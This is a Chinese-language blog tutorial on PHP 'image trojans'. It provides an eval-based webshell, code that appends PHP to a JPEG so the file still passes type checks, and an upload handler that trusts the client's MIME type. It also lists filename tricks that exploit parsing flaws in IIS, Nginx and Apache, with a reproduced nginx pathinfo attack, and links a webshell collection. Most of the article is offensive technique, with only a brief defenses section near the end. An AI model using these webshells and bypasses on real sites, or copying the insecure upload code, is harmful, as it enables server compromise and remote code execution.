php圖片木馬實現原理


什么是木馬

木馬病毒是指隱藏在正常程序中的一段具有特殊功能的惡意代碼,是具備破壞和刪除文件、發送密碼、記錄鍵盤和攻擊Dos等特殊功能的后門程序。

那,php的木馬是長什么樣的呢?我們來看下面這段代碼:

1
2
<?php
@ eval ( $_GET [ 'tioncico' ]);

 

這句話的意思是什么呢?只要在網頁上獲取到了$_GET['tioncico']的數據,就當成php代碼直接執行,例如:

http://test.cn/a/test.jpg/1.php?tioncico=echo%20tioncico;

 

這個網頁內容,我們忽略問號前面的數據,可看到tioncico=echo tioncico;%20是urlencode編碼轉換

 

圖片木馬原理

在本文中,講到的是圖片木馬上傳,那么該怎么制作圖片木馬呢?

 

我們首先要講到,php上傳文件的原理:

1:用戶提交post請求,上傳文件

2:服務器接收請求,將文件存儲到臨時文件

3:php解析該臨時文件,獲得文件類型,文件大小

4:php通過判斷文件類型,進行移動臨時文件到上傳目錄

5:php給前端返回上傳成功,並返回地址

 

在第3步,php是如果解析臨時文件的呢?

其實,文件對自身文件內容,有着自己的文件頭標識,我們只需要文件轉為16進制,然后看各個文件類型對文件頭的定義,就可以知道文件的類型了,例如,jpeg圖片格式的文件頭(2byte)標識為:0xff, 0xd8,結尾(2byte)標識為:0xff,0xd9  

通過讀取文件的字節並轉為16進制,即可知道該文件類型是什么:

1
2
3
4
5
6
7
8
9
function  fileToHex( $file ){
     if ( file_exists ( $file )){
         $data  file_get_contents ( $file );
         return  bin2hex( $data );
     }
     return  '' ;
}
 
echo  fileToHex( 'F:\www\test\a\1.jpg.txt' );

這個函數為簡單實現,復雜需求需要自行查看:

輸出:

仙士可博客

 

仙士可博客

 

很明顯,這個圖片格式為jpeg

 

php在底層中已經實現了對圖片格式的識別,所以無需我們額外實現,關於文件類型頭部的定義,可查看:

https://blog.csdn.net/LiuBuZhuDeFanHua/article/details/82949144

 

那么問題來了,如果我沒改變文件頭,然后在最后新增一串php代碼,php是怎么識別類型的呢?

我們可以嘗試下,在圖片文件后面,額外寫入一個php文件:

1
2
3
$path  'F:\www\test\a\1.jpg.txt' ;
 
file_put_contents ( $path , file_get_contents ( './a/1.php' ),FILE_APPEND); //1.php是一個木馬文件

 

直接通過txt形式打開,可看到新增的數據

仙士可博客

 

將1.jpg圖片直接打開,可發現文件沒有損壞:

仙士可博客

 

 

通過上傳文件,發現php識別的也是jpeg:

仙士可博客'

php解析木馬原理

大家看以下代碼,忽略php實現的東西,只看結構:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
<!DOCTYPE html>
<html lang= "en" >
<head>
     <meta charset= "UTF-8" >
     <title>Document</title>
</head>
<body>
<form action= ""  enctype= "multipart/form-data"  method= "post"  name= "uploadfile" >上傳文件:<input type= "file"  name= "upfile" /><br/>
     <input type= "submit"  value= "上傳" />
</form>
<?php
if (@ is_uploaded_file ( $_FILES [ 'upfile' ][ 'tmp_name' ])){
  $upfile = $_FILES [ "upfile" ];
  //獲取數組里面的值
  $name = $upfile [ "name" ]; //上傳文件的文件名
  $type = $upfile [ "type" ]; //上傳文件的類型
  $size = $upfile [ "size" ]; //上傳文件的大小
  $tmp_name = $upfile [ "tmp_name" ]; //上傳文件的臨時存放路徑
  //判斷是否為圖片
  switch ( $type ){
  case  'image/pjpeg' : $okType =true;
  break ;
  case  'image/jpeg' : $okType =true;
  break ;
  case  'image/gif' : $okType =true;
  break ;
  case  'image/png' : $okType =true;
  break ;
     }
  if ( $okType ){
  /**
          *0:文件上傳成功
  *1:超過了文件大小,在php.ini文件中設置
  *2:超過了文件的大小MAX_FILE_SIZE選項指定的值
  *3:文件只有部分被上傳
  *4:沒有文件被上傳
  *5:上傳文件大小為0
          */
 
  $error = $upfile [ "error" ];
  echo  "=======================<br/>" ;
  echo  "上傳文件名稱是:" . $name . "<br/>" ;
  echo  "上傳文件類型是:" . $type . "<br/>" ;
  echo  "上傳文件大小是:" . $size . "<br/>" ;
  echo  "上傳后系統返回的值是:" . $error . "<br/>" ;
  echo  "上傳文件的臨時存放路徑是:" . $tmp_name . "<br/>" ;
 
  echo  "開始移動上傳文件<br/>" ;
  //判斷up文件夾是否存在,不存在則創建
  $dir = 'up/' ;
  if (! is_dir ( $dir )){
  mkdir ( $dir );
         }
  //把上傳的臨時文件移動到up目錄下面
  move_uploaded_file( $tmp_name , 'up/' . $name );
  $destination = "up/" . $name ;
  echo  "=======================<br/>" ;
  echo  "上傳信息:<br/>" ;
  if ( $error ==0){
  echo  "文件上傳成功啦!" ;
  echo  "<br/>圖片預覽<br/>" ;
  echo  "<img src=" . $destination ;
  echo  " alt=\"圖片預覽:\r文件名:" . $destination . "\r上傳時間:\">" ;
         } else  if ( $error ==1){
  echo  "超過了文件的大小,在php.ini文件中設置" ;
         } else  if ( $error ==2){
  echo  "超過了文件的大小MAX_FILE_SIZE選項中設置" ;
         } else  if ( $error ==3){
  echo  "文件只有部分被上傳" ;
         } else  if ( $error ==4){
  echo  "文件沒有被上傳" ;
         } else {
  echo  "上傳文件大小為0" ;
         }
 
     } else {
  echo  "請上傳jpg,gif,png等格式的圖片" ;
     }
}
?>
</body>

 

這代碼很平常,也就是php+html標簽的混合型代碼,php會解析<?php ?>標簽,進行獲取並執行php標簽內的代碼

現在將這份代碼換成圖片+php標簽:

仙士可博客

 

 

改后綴為php看看能不能執行成功:

仙士可博客

 

很明顯,正常運行了,php將<?php標簽外的字符當成了正常字符輸出,只運行了php的部分.

 

運行圖片文件

到現在,我們已經學會了如何給圖片增加木馬文件,並了解了圖片木馬的實現原理,那么,現在該如何在別人的網站執行這個木馬呢?給圖片改后綴?很明顯我們辦不到,那該怎么辦呢?

我們需要借助漏洞才能執行(這就意味着木馬並不是萬能的,可以入侵別人的全部網站)

漏洞方法如下

include 漏洞

只要對方的php代碼中存在 include xxxx ,這個xxxx可以傳入外部參數的時候,

例如有些開發者自己實現的框架中,include controller 這個controller 有做全路徑引入的時候

 

web服務器的pathinfo漏洞

通過和php一起運行的web服務器存在的漏洞進行解析:下段內容參考:https://www.v2ex.com/amp/t/414740/2

 

IIS6.0 的解析漏洞 :1.jpg%00.php 1.asp;.jpg 1.asp/1.jpg 
IIS 7.0/IIS 7.5/ Nginx <8.03 畸形解析 1.jpg/.php 
Nginx <8.03 空字節代碼執行漏洞 1.jpg%00.php 
Apache 解析漏洞 .php.一個無效后綴 
還有就是 Windows 下的各種截斷了,因為 win 環境下不允許一些符號命名文件,所以可以造成截斷文件名的效果,

例如本人使用phpstudy nginx/1.11.5+php7.2.10成功復現:

仙士可博客

 

 

 

講解一下,我網站中存在a/test.jpg,通過訪問test.cn/a/test.jpg/1.php 被nginx成功解析a/test.jpg,並且被php調度執行成功,通過get傳的tioncico=echo%20%27仙士可牛逼!%27; 參數,在php中解析成功,輸出了 仙士可牛逼!

 

其他漏洞可以自測哦

 

 

漏洞防范

1:升級web服務器版本,盡量使用新版本

2:圖片最好是存入oss,或者圖片上傳目錄注意不要給執行權限(web服務器執行圖片目錄的權限)

3:圖片可以的話,可以進行二次處理,把木馬文件過濾掉

4:永遠不要相信用戶的輸入

 

其他

剛剛的eval函數木馬文件,是不是覺得很簡單,很容易識別?

並且,eval函數,可能還是被php禁用的危險函數.那么我們可以用什么呢?

各種木馬寫法,可以看 https://github.com/tioncico/webshell/tree/master/php

另外提一嘴,既然是可以執行php文件了,完全可以在圖片文件中,include 另一個圖片文件,等等

 

 

 

 

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM